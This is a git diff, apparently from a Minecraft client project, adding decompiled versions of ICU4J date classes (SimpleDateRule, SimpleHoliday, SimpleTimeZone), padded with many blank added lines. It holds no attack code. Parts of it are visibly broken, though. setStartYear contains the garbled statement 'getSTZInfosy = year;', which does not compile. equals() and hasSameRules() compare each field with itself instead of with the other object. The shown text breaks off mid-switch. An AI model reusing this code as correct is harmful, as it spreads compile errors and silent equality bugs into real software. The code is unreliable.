+    this.month = month;
+    this.dayOfMonth = dayOfMonth;
+    dayOfWeek = 0;
+    calendar = cal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleDateRule(int month, int dayOfMonth, int dayOfWeek, boolean after)
+  {
+    this.month = month;
+    this.dayOfMonth = dayOfMonth;
+    this.dayOfWeek = (after ? dayOfWeek : -dayOfWeek);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date firstAfter(Date start)
+  {
+    return doFirstBetween(start, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Date firstBetween(Date start, Date end)
+  {
+    return doFirstBetween(start, end);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isOn(Date date)
+  {
+    Calendar c = calendar;
+    
+    synchronized (c) {
+      c.setTime(date);
+      
+      int dayOfYear = c.get(6);
+      
+      c.setTime(computeInYear(c.get(1), c));
+      
+
+
+
+      return c.get(6) == dayOfYear;
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean isBetween(Date start, Date end)
+  {
+    return firstBetween(start, end) != null;
+  }
+  
+  private Date doFirstBetween(Date start, Date end)
+  {
+    Calendar c = calendar;
+    
+    synchronized (c) {
+      c.setTime(start);
+      
+      int year = c.get(1);
+      int mon = c.get(2);
+      
+
+
+      if (mon > month) {
+        year++;
+      }
+      
+
+      Date result = computeInYear(year, c);
+      
+
+
+      if ((mon == month) && (result.before(start))) {
+        result = computeInYear(year + 1, c);
+      }
+      
+      if ((end != null) && (result.after(end))) {
+        return null;
+      }
+      return result;
+    }
+  }
+  
+  private Date computeInYear(int year, Calendar c)
+  {
+    synchronized (c) {
+      c.clear();
+      c.set(0, c.getMaximum(0));
+      c.set(1, year);
+      c.set(2, month);
+      c.set(5, dayOfMonth);
+      
+
+
+      if (dayOfWeek != 0) {
+        c.setTime(c.getTime());
+        int weekday = c.get(7);
+        
+
+
+
+        int delta = 0;
+        if (dayOfWeek > 0)
+        {
+
+          delta = (dayOfWeek - weekday + 7) % 7;
+
+        }
+        else
+        {
+          delta = -((dayOfWeek + weekday + 7) % 7);
+        }
+        
+        c.add(5, delta);
+      }
+      
+      return c.getTime();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private static GregorianCalendar gCalendar = new GregorianCalendar();
+  
+  private Calendar calendar = gCalendar;
+  private int month;
+  private int dayOfMonth;
+  private int dayOfWeek;
+}
diff --git a/src/minecraft/com/ibm/icu/util/SimpleHoliday.java b/src/minecraft/com/ibm/icu/util/SimpleHoliday.java
new file mode 100644
index 0000000..42c7482
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/SimpleHoliday.java
@@ -0,0 +1,263 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleHoliday
+  extends Holiday
+{
+  public SimpleHoliday(int month, int dayOfMonth, String name)
+  {
+    super(name, new SimpleDateRule(month, dayOfMonth));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleHoliday(int month, int dayOfMonth, String name, int startYear)
+  {
+    super(name, rangeRule(startYear, 0, new SimpleDateRule(month, dayOfMonth)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleHoliday(int month, int dayOfMonth, String name, int startYear, int endYear)
+  {
+    super(name, rangeRule(startYear, endYear, new SimpleDateRule(month, dayOfMonth)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleHoliday(int month, int dayOfMonth, int dayOfWeek, String name)
+  {
+    super(name, new SimpleDateRule(month, dayOfMonth, dayOfWeek > 0 ? dayOfWeek : -dayOfWeek, dayOfWeek > 0));
+  }
+  
+
+
+
+
+
+
+
+  public SimpleHoliday(int month, int dayOfMonth, int dayOfWeek, String name, int startYear)
+  {
+    super(name, rangeRule(startYear, 0, new SimpleDateRule(month, dayOfMonth, dayOfWeek > 0 ? dayOfWeek : -dayOfWeek, dayOfWeek > 0)));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public SimpleHoliday(int month, int dayOfMonth, int dayOfWeek, String name, int startYear, int endYear)
+  {
+    super(name, rangeRule(startYear, endYear, new SimpleDateRule(month, dayOfMonth, dayOfWeek > 0 ? dayOfWeek : -dayOfWeek, dayOfWeek > 0)));
+  }
+  
+
+
+
+  private static DateRule rangeRule(int startYear, int endYear, DateRule rule)
+  {
+    if ((startYear == 0) && (endYear == 0)) {
+      return rule;
+    }
+    
+    RangeDateRule rangeRule = new RangeDateRule();
+    
+    if (startYear != 0) {
+      Calendar start = new GregorianCalendar(startYear, 0, 1);
+      rangeRule.add(start.getTime(), rule);
+    } else {
+      rangeRule.add(rule);
+    }
+    if (endYear != 0) {
+      Date end = new GregorianCalendar(endYear, 11, 31).getTime();
+      rangeRule.add(end, null);
+    }
+    
+    return rangeRule;
+  }
+  
+
+
+
+
+
+
+
+
+  public static final SimpleHoliday NEW_YEARS_DAY = new SimpleHoliday(0, 1, "New Year's Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday EPIPHANY = new SimpleHoliday(0, 6, "Epiphany");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday MAY_DAY = new SimpleHoliday(4, 1, "May Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday ASSUMPTION = new SimpleHoliday(7, 15, "Assumption");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday ALL_SAINTS_DAY = new SimpleHoliday(10, 1, "All Saints' Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday ALL_SOULS_DAY = new SimpleHoliday(10, 2, "All Souls' Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday IMMACULATE_CONCEPTION = new SimpleHoliday(11, 8, "Immaculate Conception");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday CHRISTMAS_EVE = new SimpleHoliday(11, 24, "Christmas Eve");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday CHRISTMAS = new SimpleHoliday(11, 25, "Christmas");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday BOXING_DAY = new SimpleHoliday(11, 26, "Boxing Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday ST_STEPHENS_DAY = new SimpleHoliday(11, 26, "St. Stephen's Day");
+  
+
+
+
+
+
+
+  public static final SimpleHoliday NEW_YEARS_EVE = new SimpleHoliday(11, 31, "New Year's Eve");
+}
diff --git a/src/minecraft/com/ibm/icu/util/SimpleTimeZone.java b/src/minecraft/com/ibm/icu/util/SimpleTimeZone.java
new file mode 100644
index 0000000..e70d7ea
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/SimpleTimeZone.java
@@ -0,0 +1,1439 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Grego;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SimpleTimeZone
+  extends BasicTimeZone
+{
+  private static final long serialVersionUID = -7034676239311322769L;
+  public static final int WALL_TIME = 0;
+  public static final int STANDARD_TIME = 1;
+  public static final int UTC_TIME = 2;
+  
+  public SimpleTimeZone(int rawOffset, String ID)
+  {
+    super(ID);
+    construct(rawOffset, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3600000);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleTimeZone(int rawOffset, String ID, int startMonth, int startDay, int startDayOfWeek, int startTime, int endMonth, int endDay, int endDayOfWeek, int endTime)
+  {
+    super(ID);
+    construct(rawOffset, startMonth, startDay, startDayOfWeek, startTime, 0, endMonth, endDay, endDayOfWeek, endTime, 0, 3600000);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleTimeZone(int rawOffset, String ID, int startMonth, int startDay, int startDayOfWeek, int startTime, int startTimeMode, int endMonth, int endDay, int endDayOfWeek, int endTime, int endTimeMode, int dstSavings)
+  {
+    super(ID);
+    construct(rawOffset, startMonth, startDay, startDayOfWeek, startTime, startTimeMode, endMonth, endDay, endDayOfWeek, endTime, endTimeMode, dstSavings);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public SimpleTimeZone(int rawOffset, String ID, int startMonth, int startDay, int startDayOfWeek, int startTime, int endMonth, int endDay, int endDayOfWeek, int endTime, int dstSavings)
+  {
+    super(ID);
+    construct(rawOffset, startMonth, startDay, startDayOfWeek, startTime, 0, endMonth, endDay, endDayOfWeek, endTime, 0, dstSavings);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setID(String ID)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    super.setID(ID);
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+
+  public void setRawOffset(int offsetMillis)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    raw = offsetMillis;
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+  public int getRawOffset()
+  {
+    return raw;
+  }
+  
+
+
+
+
+
+  public void setStartYear(int year)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfosy = year;
+    startYear = year;
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setStartRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setStart(month, dayOfWeekInMonth, dayOfWeek, time, -1, false);
+    setStartRule(month, dayOfWeekInMonth, dayOfWeek, time, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void setStartRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time, int mode)
+  {
+    assert (!isFrozen());
+    
+    startMonth = month;
+    startDay = dayOfWeekInMonth;
+    startDayOfWeek = dayOfWeek;
+    startTime = time;
+    startTimeMode = mode;
+    decodeStartRule();
+    
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setStartRule(int month, int dayOfMonth, int time)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setStart(month, -1, -1, time, dayOfMonth, false);
+    setStartRule(month, dayOfMonth, 0, time, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setStartRule(int month, int dayOfMonth, int dayOfWeek, int time, boolean after)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setStart(month, -1, dayOfWeek, time, dayOfMonth, after);
+    setStartRule(month, after ? dayOfMonth : -dayOfMonth, -dayOfWeek, time, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setEndRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setEnd(month, dayOfWeekInMonth, dayOfWeek, time, -1, false);
+    setEndRule(month, dayOfWeekInMonth, dayOfWeek, time, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setEndRule(int month, int dayOfMonth, int time)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setEnd(month, -1, -1, time, dayOfMonth, false);
+    setEndRule(month, dayOfMonth, 0, time);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setEndRule(int month, int dayOfMonth, int dayOfWeek, int time, boolean after)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    getSTZInfo().setEnd(month, -1, dayOfWeek, time, dayOfMonth, after);
+    setEndRule(month, dayOfMonth, dayOfWeek, time, 0, after);
+  }
+  
+  private void setEndRule(int month, int dayOfMonth, int dayOfWeek, int time, int mode, boolean after)
+  {
+    assert (!isFrozen());
+    setEndRule(month, after ? dayOfMonth : -dayOfMonth, -dayOfWeek, time, mode);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void setEndRule(int month, int dayOfWeekInMonth, int dayOfWeek, int time, int mode)
+  {
+    assert (!isFrozen());
+    
+    endMonth = month;
+    endDay = dayOfWeekInMonth;
+    endDayOfWeek = dayOfWeek;
+    endTime = time;
+    endTimeMode = mode;
+    decodeEndRule();
+    
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+  public void setDSTSavings(int millisSavedDuringDST)
+  {
+    if (isFrozen()) {
+      throw new UnsupportedOperationException("Attempt to modify a frozen SimpleTimeZone instance.");
+    }
+    
+    if (millisSavedDuringDST <= 0) {
+      throw new IllegalArgumentException();
+    }
+    dst = millisSavedDuringDST;
+    
+    transitionRulesInitialized = false;
+  }
+  
+
+
+
+
+
+
+
+  public int getDSTSavings()
+  {
+    return dst;
+  }
+  
+
+
+
+
+
+
+
+
+  private void readObject(ObjectInputStream in)
+    throws IOException, ClassNotFoundException
+  {
+    in.defaultReadObject();
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (xinfo != null) {
+      xinfo.applyTo(this);
+    }
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    return "SimpleTimeZone: " + getID();
+  }
+  
+  private STZInfo getSTZInfo() {
+    if (xinfo == null) {
+      xinfo = new STZInfo();
+    }
+    return xinfo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private static final byte[] staticMonthLength = { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
+  
+
+  private static final int DOM_MODE = 1;
+  
+
+  private static final int DOW_IN_MONTH_MODE = 2;
+  
+  private static final int DOW_GE_DOM_MODE = 3;
+  
+  private static final int DOW_LE_DOM_MODE = 4;
+  
+  private int raw;
+  
+
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis)
+  {
+    if ((month < 0) || (month > 11)) {
+      throw new IllegalArgumentException();
+    }
+    
+    return getOffset(era, year, month, day, dayOfWeek, millis, Grego.monthLength(year, month));
+  }
+  
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis, int monthLength)
+  {
+    if ((month < 0) || (month > 11)) {
+      throw new IllegalArgumentException();
+    }
+    
+    return getOffset(era, year, month, day, dayOfWeek, millis, Grego.monthLength(year, month), Grego.previousMonthLength(year, month));
+  }
+  
+
+
+
+
+
+
+
+  private int getOffset(int era, int year, int month, int day, int dayOfWeek, int millis, int monthLength, int prevMonthLength)
+  {
+    if (((era != 1) && (era != 0)) || (month < 0) || (month > 11) || (day < 1) || (day > monthLength) || (dayOfWeek < 1) || (dayOfWeek > 7) || (millis < 0) || (millis >= 86400000) || (monthLength < 28) || (monthLength > 31) || (prevMonthLength < 28) || (prevMonthLength > 31))
+    {
+
+
+
+
+
+
+
+
+
+
+
+      throw new IllegalArgumentException();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    int result = raw;
+    
+
+    if ((!useDaylight) || (year < startYear) || (era != 1)) { return result;
+    }
+    
+
+    boolean southern = startMonth > endMonth;
+    
+
+
+    int startCompare = compareToRule(month, monthLength, prevMonthLength, day, dayOfWeek, millis, startTimeMode == 2 ? -raw : 0, startMode, startMonth, startDayOfWeek, startDay, startTime);
+    
+
+
+
+    int endCompare = 0;
+    
+
+
+
+
+
+
+    if (southern != startCompare >= 0)
+    {
+
+
+      endCompare = compareToRule(month, monthLength, prevMonthLength, day, dayOfWeek, millis, endTimeMode == 2 ? -raw : endTimeMode == 0 ? dst : 0, endMode, endMonth, endDayOfWeek, endDay, endTime);
+    }
+    
+
+
+
+
+
+
+
+
+
+    if (((!southern) && (startCompare >= 0) && (endCompare < 0)) || ((southern) && ((startCompare >= 0) || (endCompare < 0))))
+    {
+      result += dst;
+    }
+    return result;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public void getOffsetFromLocal(long date, int nonExistingTimeOpt, int duplicatedTimeOpt, int[] offsets)
+  {
+    offsets[0] = getRawOffset();
+    int[] fields = new int[6];
+    Grego.timeToFields(date, fields);
+    offsets[1] = (getOffset(1, fields[0], fields[1], fields[2], fields[3], fields[5]) - offsets[0]);
+    
+
+
+    boolean recalc = false;
+    
+
+    if (offsets[1] > 0) {
+      if (((nonExistingTimeOpt & 0x3) == 1) || (((nonExistingTimeOpt & 0x3) != 3) && ((nonExistingTimeOpt & 0xC) != 12)))
+      {
+
+        date -= getDSTSavings();
+        recalc = true;
+      }
+    }
+    else if (((duplicatedTimeOpt & 0x3) == 3) || (((duplicatedTimeOpt & 0x3) != 1) && ((duplicatedTimeOpt & 0xC) == 4)))
+    {
+
+      date -= getDSTSavings();
+      recalc = true;
+    }
+    
+
+    if (recalc) {
+      Grego.timeToFields(date, fields);
+      offsets[1] = (getOffset(1, fields[0], fields[1], fields[2], fields[3], fields[5]) - offsets[0]);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int compareToRule(int month, int monthLen, int prevMonthLen, int dayOfMonth, int dayOfWeek, int millis, int millisDelta, int ruleMode, int ruleMonth, int ruleDayOfWeek, int ruleDay, int ruleMillis)
+  {
+    millis += millisDelta;
+    
+    while (millis >= 86400000) {
+      millis -= 86400000;
+      dayOfMonth++;
+      dayOfWeek = 1 + dayOfWeek % 7;
+      if (dayOfMonth > monthLen) {
+        dayOfMonth = 1;
+        
+
+
+
+        month++;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    while (millis < 0)
+    {
+      dayOfMonth--;
+      dayOfWeek = 1 + (dayOfWeek + 5) % 7;
+      if (dayOfMonth < 1) {
+        dayOfMonth = prevMonthLen;
+        month--;
+      }
+      millis += 86400000;
+    }
+    
+    if (month < ruleMonth) return -1;
+    if (month > ruleMonth) { return 1;
+    }
+    int ruleDayOfMonth = 0;
+    
+
+    if (ruleDay > monthLen) {
+      ruleDay = monthLen;
+    }
+    
+    switch (ruleMode)
+    {
+    case 1: 
+      ruleDayOfMonth = ruleDay;
+      break;
+    
+    case 2: 
+      if (ruleDay > 0) {
+        ruleDayOfMonth = 1 + (ruleDay - 1) * 7 + (7 + ruleDayOfWeek - (dayOfWeek - dayOfMonth + 1)) % 7;
+      }
+      else
+      {
+        ruleDayOfMonth = monthLen + (ruleDay + 1) * 7 - (7 + (dayOfWeek + monthLen - dayOfMonth) - ruleDayOfWeek) % 7;
+      }
+      
+      break;
+    case 3: 
+      ruleDayOfMonth = ruleDay + (49 + ruleDayOfWeek - ruleDay - dayOfWeek + dayOfMonth) % 7;
+      
+      break;
+    case 4: 
+      ruleDayOfMonth = ruleDay - (49 - ruleDayOfWeek + ruleDay + dayOfWeek - dayOfMonth) % 7;
+    }
+    
+    
+
+
+
+    if (dayOfMonth < ruleDayOfMonth) return -1;
+    if (dayOfMonth > ruleDayOfMonth) { return 1;
+    }
+    if (millis < ruleMillis)
+      return -1;
+    if (millis > ruleMillis) {
+      return 1;
+    }
+    return 0;
+  }
+  
+
+
+
+  private int dst = 3600000;
+  private STZInfo xinfo = null;
+  
+  private int startMonth;
+  
+  private int startDay;
+  
+  private int startDayOfWeek;
+  
+  private int startTime;
+  private int startTimeMode;
+  private int endTimeMode;
+  private int endMonth;
+  private int endDay;
+  private int endDayOfWeek;
+  
+  public boolean useDaylightTime()
+  {
+    return useDaylight;
+  }
+  
+
+
+
+  public boolean observesDaylightTime()
+  {
+    return useDaylight;
+  }
+  
+
+
+
+
+
+  public boolean inDaylightTime(Date date)
+  {
+    GregorianCalendar gc = new GregorianCalendar(this);
+    gc.setTime(date);
+    return gc.inDaylightTime();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void construct(int _raw, int _startMonth, int _startDay, int _startDayOfWeek, int _startTime, int _startTimeMode, int _endMonth, int _endDay, int _endDayOfWeek, int _endTime, int _endTimeMode, int _dst)
+  {
+    raw = _raw;
+    startMonth = _startMonth;
+    startDay = _startDay;
+    startDayOfWeek = _startDayOfWeek;
+    startTime = _startTime;
+    startTimeMode = _startTimeMode;
+    endMonth = _endMonth;
+    endDay = _endDay;
+    endDayOfWeek = _endDayOfWeek;
+    endTime = _endTime;
+    endTimeMode = _endTimeMode;
+    dst = _dst;
+    startYear = 0;
+    startMode = 1;
+    endMode = 1;
+    
+    decodeRules();
+    
+    if (_dst <= 0)
+      throw new IllegalArgumentException();
+  }
+  
+  private void decodeRules() {
+    decodeStartRule();
+    decodeEndRule();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void decodeStartRule()
+  {
+    useDaylight = ((startDay != 0) && (endDay != 0));
+    if ((useDaylight) && (dst == 0)) {
+      dst = 86400000;
+    }
+    if (startDay != 0) {
+      if ((startMonth < 0) || (startMonth > 11)) {
+        throw new IllegalArgumentException();
+      }
+      if ((startTime < 0) || (startTime > 86400000) || (startTimeMode < 0) || (startTimeMode > 2))
+      {
+        throw new IllegalArgumentException();
+      }
+      if (startDayOfWeek == 0) {
+        startMode = 1;
+      } else {
+        if (startDayOfWeek > 0) {
+          startMode = 2;
+        } else {
+          startDayOfWeek = (-startDayOfWeek);
+          if (startDay > 0) {
+            startMode = 3;
+          } else {
+            startDay = (-startDay);
+            startMode = 4;
+          }
+        }
+        if (startDayOfWeek > 7) {
+          throw new IllegalArgumentException();
+        }
+      }
+      if (startMode == 2) {
+        if ((startDay < -5) || (startDay > 5)) {
+          throw new IllegalArgumentException();
+        }
+      } else if ((startDay < 1) || (startDay > staticMonthLength[startMonth])) {
+        throw new IllegalArgumentException();
+      }
+    }
+  }
+  
+
+
+
+
+  private void decodeEndRule()
+  {
+    useDaylight = ((startDay != 0) && (endDay != 0));
+    if ((useDaylight) && (dst == 0)) {
+      dst = 86400000;
+    }
+    if (endDay != 0) {
+      if ((endMonth < 0) || (endMonth > 11)) {
+        throw new IllegalArgumentException();
+      }
+      if ((endTime < 0) || (endTime > 86400000) || (endTimeMode < 0) || (endTimeMode > 2))
+      {
+        throw new IllegalArgumentException();
+      }
+      if (endDayOfWeek == 0) {
+        endMode = 1;
+      } else {
+        if (endDayOfWeek > 0) {
+          endMode = 2;
+        } else {
+          endDayOfWeek = (-endDayOfWeek);
+          if (endDay > 0) {
+            endMode = 3;
+          } else {
+            endDay = (-endDay);
+            endMode = 4;
+          }
+        }
+        if (endDayOfWeek > 7) {
+          throw new IllegalArgumentException();
+        }
+      }
+      if (endMode == 2) {
+        if ((endDay < -5) || (endDay > 5)) {
+          throw new IllegalArgumentException();
+        }
+      } else if ((endDay < 1) || (endDay > staticMonthLength[endMonth])) {
+        throw new IllegalArgumentException();
+      }
+    }
+  }
+  
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) return true;
+    if ((obj == null) || (getClass() != obj.getClass())) return false;
+    SimpleTimeZone that = (SimpleTimeZone)obj;
+    return (raw == raw) && (useDaylight == useDaylight) && (idEquals(getID(), that.getID())) && ((!useDaylight) || ((dst == dst) && (startMode == startMode) && (startMonth == startMonth) && (startDay == startDay) && (startDayOfWeek == startDayOfWeek) && (startTime == startTime) && (startTimeMode == startTimeMode) && (endMode == endMode) && (endMonth == endMonth) && (endDay == endDay) && (endDayOfWeek == endDayOfWeek) && (endTime == endTime) && (endTimeMode == endTimeMode) && (startYear == startYear)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean idEquals(String id1, String id2)
+  {
+    if ((id1 == null) && (id2 == null)) {
+      return true;
+    }
+    if ((id1 != null) && (id2 != null)) {
+      return id1.equals(id2);
+    }
+    return false;
+  }
+  
+
+
+
+
+  public int hashCode()
+  {
+    int ret = super.hashCode() + raw ^ (raw >>> 8) + (useDaylight ? 0 : 1);
+    
+
+    if (!useDaylight) {
+      ret += (dst ^ (dst >>> 10) + startMode ^ (startMode >>> 11) + startMonth ^ (startMonth >>> 12) + startDay ^ (startDay >>> 13) + startDayOfWeek ^ (startDayOfWeek >>> 14) + startTime ^ (startTime >>> 15) + startTimeMode ^ (startTimeMode >>> 16) + endMode ^ (endMode >>> 17) + endMonth ^ (endMonth >>> 18) + endDay ^ (endDay >>> 19) + endDayOfWeek ^ (endDayOfWeek >>> 20) + endTime ^ (endTime >>> 21) + endTimeMode ^ (endTimeMode >>> 22) + startYear ^ startYear >>> 23);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    return ret;
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    if (isFrozen()) {
+      return this;
+    }
+    return cloneAsThawed();
+  }
+  
+
+
+
+
+
+
+  public boolean hasSameRules(TimeZone othr)
+  {
+    if (this == othr) {
+      return true;
+    }
+    if (!(othr instanceof SimpleTimeZone)) {
+      return false;
+    }
+    SimpleTimeZone other = (SimpleTimeZone)othr;
+    return (other != null) && (raw == raw) && (useDaylight == useDaylight) && ((!useDaylight) || ((dst == dst) && (startMode == startMode) && (startMonth == startMonth) && (startDay == startDay) && (startDayOfWeek == startDayOfWeek) && (startTime == startTime) && (startTimeMode == startTimeMode) && (endMode == endMode) && (endMonth == endMonth) && (endDay == endDay) && (endDayOfWeek == endDayOfWeek) && (endTime == endTime) && (endTimeMode == endTimeMode) && (startYear == startYear)));
+  }
+  
+
+
+  private int endTime;
+  
+
+  private int startYear;
+  
+
+  private boolean useDaylight;
+  
+  private int startMode;
+  
+  private int endMode;
+  
+  private transient boolean transitionRulesInitialized;
+  
+  private transient InitialTimeZoneRule initialRule;
+  
+  private transient TimeZoneTransition firstTransition;
+  
+  private transient AnnualTimeZoneRule stdRule;
+  
+  private transient AnnualTimeZoneRule dstRule;
+  
+  public TimeZoneTransition getNextTransition(long base, boolean inclusive)
+  {
+    if (!useDaylight) {
+      return null;
+    }
+    
+    initTransitionRules();
+    long firstTransitionTime = firstTransition.getTime();
+    if ((base < firstTransitionTime) || ((inclusive) && (base == firstTransitionTime))) {
+      return firstTransition;
+    }
+    Date stdDate = stdRule.getNextStart(base, dstRule.getRawOffset(), dstRule.getDSTSavings(), inclusive);
+    
+    Date dstDate = dstRule.getNextStart(base, stdRule.getRawOffset(), stdRule.getDSTSavings(), inclusive);
+    
+    if ((stdDate != null) && ((dstDate == null) || (stdDate.before(dstDate)))) {
+      return new TimeZoneTransition(stdDate.getTime(), dstRule, stdRule);
+    }
+    if ((dstDate != null) && ((stdDate == null) || (dstDate.before(stdDate)))) {
+      return new TimeZoneTransition(dstDate.getTime(), stdRule, dstRule);
+    }
+    return null;
+  }
+  
+
+
+
+
+  public TimeZoneTransition getPreviousTransition(long base, boolean inclusive)
+  {
+    if (!useDaylight) {
+      return null;
+    }
+    
+    initTransitionRules();
+    long firstTransitionTime = firstTransition.getTime();
+    if ((base < firstTransitionTime) || ((!inclusive) && (base == firstTransitionTime))) {
+      return null;
+    }
+    Date stdDate = stdRule.getPreviousStart(base, dstRule.getRawOffset(), dstRule.getDSTSavings(), inclusive);
+    
+    Date dstDate = dstRule.getPreviousStart(base, stdRule.getRawOffset(), stdRule.getDSTSavings(), inclusive);
+    
+    if ((stdDate != null) && ((dstDate == null) || (stdDate.after(dstDate)))) {
+      return new TimeZoneTransition(stdDate.getTime(), dstRule, stdRule);
+    }
+    if ((dstDate != null) && ((stdDate == null) || (dstDate.after(stdDate)))) {
+      return new TimeZoneTransition(dstDate.getTime(), stdRule, dstRule);
+    }
+    return null;
+  }
+  
+
+
+
+
+  public TimeZoneRule[] getTimeZoneRules()
+  {
+    initTransitionRules();
+    
+    int size = useDaylight ? 3 : 1;
+    TimeZoneRule[] rules = new TimeZoneRule[size];
+    rules[0] = initialRule;
+    if (useDaylight) {
+      rules[1] = stdRule;
+      rules[2] = dstRule;
+    }
+    return rules;
+  }
+  
+
+
+
+
+
+  private synchronized void initTransitionRules()
+  {
+    if (transitionRulesInitialized) {
+      return;
+    }
+    if (useDaylight) {
+      DateTimeRule dtRule = null;
+      
+
+
+
+      int timeRuleType = startTimeMode == 2 ? 2 : startTimeMode == 1 ? 1 : 0;
+      
+      switch (startMode) {
+      case 1: 
+        dtRule = new DateTimeRule(startMonth, startDay, startTime, timeRuleType);
+        break;
+      case 2: 
+        dtRule = new DateTimeRule(startMonth, startDay, startDayOfWeek, startTime, timeRuleType);
+        
+        break;
+      case 3: 
